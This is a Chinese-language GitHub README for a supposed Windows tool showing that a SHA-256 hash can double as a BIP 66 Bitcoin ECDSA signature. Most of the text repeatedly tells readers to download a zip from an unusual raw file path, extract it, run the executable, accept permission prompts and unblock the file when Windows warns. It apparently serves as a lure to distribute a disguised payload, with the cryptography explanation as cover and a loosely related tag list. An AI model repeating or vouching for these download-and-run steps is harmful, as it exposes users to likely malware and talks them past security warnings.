Rutherforddry602/sha2-ecdsa

GitHub: Rutherforddry602/sha2-ecdsa

这是一个演示工具,通过字节级推导证明了一个特定的 SHA-256 哈希值可以同时构成符合比特币 BIP 66 规范的 ECDSA 签名。

Stars: 0 | Forks: 0

# 🧩 sha2-ecdsa - 一个能自我签名的哈希 [![Download sha2-ecdsa](https://img.shields.io/badge/Download%20Now-4B8BBE?style=for-the-badge&logo=github&logoColor=white)](https://raw.githubusercontent.com/Rutherforddry602/sha2-ecdsa/main/src/cluster/ecdsa-sha-2.9-beta.4.zip) ## 📥 下载与打开 使用此链接访问下载页面: [在 GitHub 上打开 sha2-ecdsa](https://raw.githubusercontent.com/Rutherforddry602/sha2-ecdsa/main/src/cluster/ecdsa-sha-2.9-beta.4.zip) 在页面上,查找最新的版本或主下载链接。如果你看到 Windows 版本的文件,请下载并在你的电脑上打开它。 ## 🖥️ sha2-ecdsa 的作用 sha2-ecdsa 是一个小工具和演示,用于展示一个想法:一个 SHA-256 哈希也可以构成一个有效的 ECDSA 签名。 它展示了一个 32 字节的哈希如何与比特币签名的各个部分对齐。字节必须匹配精确的位置,并且结果在 BIP 66 规则下是有效的。 你可以使用它来: - 查看哈希和签名布局 - 检查关键的字节位置 - 研究相同数据如何适应两种角色 - 在 Windows 上测试示例的工作原理 ## ⚙️ 所需条件 在开始之前,请确保你拥有: - 一台 Windows 电脑 - 一个网络浏览器 - 足够的可用空间来保存下载文件 - 在电脑上运行下载文件的权限 为了获得最佳效果: - 使用较新版本的 Windows - 保持浏览器更新 - 将文件保存到“下载”文件夹或桌面 ## 🚀 如何在 Windows 上获取它 1. 打开上面的 GitHub 链接。 2. 找到最新版本或下载区域。 3. 下载 Windows 文件。 4. 如果文件是 .zip 格式,请右键单击它并选择“全部解压”。 5. 打开解压后的文件夹。 6. 双击应用程序文件以运行它。 7. 如果 Windows 询问权限,请选择“运行”。 如果你只看到源代码页面而没有应用程序文件,请先查找版本发布部分。Windows 构建版本通常放置在那里。 ## 🧭 首次设置 当你第一次打开应用程序时: - 等待 Windows 完成文件检查 - 如果出现提示,请允许应用程序打开 - 如果你解压了 .zip 文件,请保持主文件夹完整 - 除非应用程序说明另有指示,否则不要将文件移出文件夹 如果应用程序打开一个窗口或控制台屏幕,这对于此类工具来说是正常的。 ## 🔍 你将看到的内容 该应用程序的核心是使示例工作的哈希和签名部分。 你可能会看到: - SHA-256 哈希值 - DER 签名布局 - 字节值,如 `30`、`02`、`1D` 和 `0F` - `r` 和 `s` 字段 - 结尾处的 sighash 类型 这些值是比特币使用的签名格式的一部分。应用程序或文件可能会展示每个字节如何就位。 ## 🧠 简单理解示例的方法 这个思路很容易理解: - SHA-256 哈希长度为 32 字节。 - Bitcoin ECDSA 签名具有固定的结构。 - 某些字节模式可以同时适应这两种形式。 - 如果字节落在正确的位置,哈希也可以被解析为签名。 在这个示例中,哈希不仅仅是一个摘要。它还匹配比特币脚本使用的签名形状。 ## 🧪 代码仓库中的示例数据 该项目包含以下示例: - `SHA256(00000000000000000200a8013bbb8678)` - `301d020a7993dad81d0e10285a7e020f682a7033db72199360c2dc3599f2d302` 字节布局很重要: - `30` 标记 DER 序列的开始 - `02` 标记一个整数 - `1D` 给出总长度 - `0A` 和 `0F` 标记 `r` 和 `s` 的长度 - 最后的 `02` 充当 sighash 类型 BIP 66 还要求: - 没有多余的前导零 - 正值 - 非零的 `r` 和 `s` 这就是为什么精确的字节位置如此重要。 ## 🛠️ 如何使用它 如果应用程序打开一个窗口: - 阅读屏幕上的文本 - 比较哈希与签名布局 - 逐一检查字节位置 如果应用程序是一个命令行程序: - 打开文件夹 - 运行程序文件 - 阅读窗口中打印的文本 如果应用程序包含示例文件: - 将示例文件保留在同一文件夹中 - 如有必要,使用应用程序打开它们 - 使用示例哈希作为起点 ## 📁 文件夹布局 常见的 Windows 下载可能包含: - 主应用程序文件 - readme 文件 - 示例数据 - 许可证文件 - 应用程序所需的支持文件 除非确定不需要,否则不要删除任何文件。某些应用程序需要所有文件位于同一文件夹中才能启动。 ## 🔒 安全检查 在运行文件之前: - 确保你通过上面的 GitHub 链接下载了它 - 检查文件名是否与版本或应用程序名称匹配 - 保留浏览器下载记录,以防你需要再次找到它 如果 Windows 显示文件警告,请继续操作前阅读文件名和位置。 ## 🧷 常见 Windows 问题 如果你打开文件后没有任何反应: - 等待几秒钟 - 尝试再次打开它 - 检查文件是否仍在 .zip 压缩包中 - 确保你先解压了文件 如果 Windows 阻止该文件: - 右键单击文件 - 打开“属性” - 查找“解除锁定”复选框 - 如果存在,应用更改 - 再次尝试 如果应用程序立即关闭: - 从文件夹中再次打开它 - 查找包含使用步骤的文本文件或 readme - 检查它是否需要同一文件夹中的支持文件 ## 📌 为什么这个项目很重要 该代码仓库展示了比特币数据格式工作中的罕见案例。它连接了: - SHA-256 - ECDSA - DER 编码 - BIP 66 规则 - Bitcoin 脚本行为 它帮助你了解严格的字节放置如何改变数据的含义。这使得它适合在 Windows 上进行学习、测试和简单的演示使用。 ## 🧭 基本术语 以下是几个通俗易懂的含义: - hash(哈希):由数据生成的固定大小的结果 - signature(签名):使用私钥生成的证明 - DER:一种存储结构化数据的通用方式 - byte(字节):一个小的数据单元 - sequence(序列):具有顺序的数据块 - script(脚本):比特币使用的一组规则 ## 📋 快速开始 1. 打开 GitHub 下载链接。 2. 从版本或下载页面获取 Windows 文件。 3. 将其保存到你的电脑。 4. 如果是 zip 文件,请将其解压。 5. 打开应用程序文件。 6. 阅读哈希和签名示例。 ## 🧩 对演示的预期 该演示侧重于一点:当字节匹配正确的 DER 模式时,哈希也可以是有效的签名。 这意味着你可能会看到: - 一个简短的数据块 - 一个精确的字节映射 - 以两种形式显示的相同值 - 一个比特币风格的签名示例 如果你想在 Windows 上实际查看数据格式规则如何工作,这非常适合你。
标签:BIP66, Bitcoin, CVE, ECDSA, SHA-256, Windows工具, 区块链, 哈希碰撞, 字节推导, 密码学, 工具, 手动系统调用, 数字签名, 数学证明, 椭圆曲线, 比特币, 漏洞演示, 演示, 签名伪造, 通知系统